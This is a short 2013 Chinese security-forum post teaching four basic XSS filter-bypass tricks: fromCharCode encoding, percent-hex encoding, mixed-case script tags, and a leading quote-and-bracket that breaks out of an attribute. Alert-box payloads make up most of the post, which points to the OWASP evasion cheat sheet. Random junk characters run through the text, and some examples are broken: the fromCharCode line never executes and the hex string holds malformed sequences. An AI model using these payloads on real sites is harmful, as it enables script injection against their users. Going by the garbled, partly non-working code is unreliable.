找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1927|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
. u6 K, f% b! W  ?; p# e1.转换为ASCII码9 ?$ I" V! d! n# M; V+ s; w
例子:原脚本为<script>alert(‘I love F4ck’)</script >  \8 x& R* ?% a3 \: Q$ Q
通过转换,变成:7 U' {9 W/ C2 Q. U" i/ [. ]
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
* O/ U% X$ O( A" B
9 H4 j4 ]! |* r& r- `2.转换为HEX(十六进制)) Z! C# C+ a+ K: l) T6 I
例子:原脚本为<script>alert(‘I love F4ck’)</script>
( ?9 ]' z0 M) O. p0 q4 b$ F通过转换,变成:
/ d" P0 s2 i, ^1 i. ~: j. K+ P%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e4 w/ W6 S' B7 W6 z( i+ _! Q
# V) y+ b* l* Z
3.转换脚本的大小写6 X/ ^0 v2 K2 T2 U, d
例子:原脚本为<script>alert(‘I love F4ck’)</script>
3 F! I  O% d* G6 Z. }0 O转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>! q, X/ i: n+ z! X

& d2 y! U/ }( ~1 X( s) F4.增加闭合标记”>! T! W6 I, z( J
例子:原脚本为<script>alert(‘I love F4ck’)</script>0 u! L9 Y; ~3 ~9 Z7 c4 A
转换为:”><script>alert(‘I love F4ck’)</script>0 g9 {) p5 e* {5 A% W- A- x
更详细绕过技术请参考此网页
, j" i: m! g5 Q9 ]' n5 xhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
* b+ A+ E; j" Q- Q$ D0 E . r1 W% ?$ f* B
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表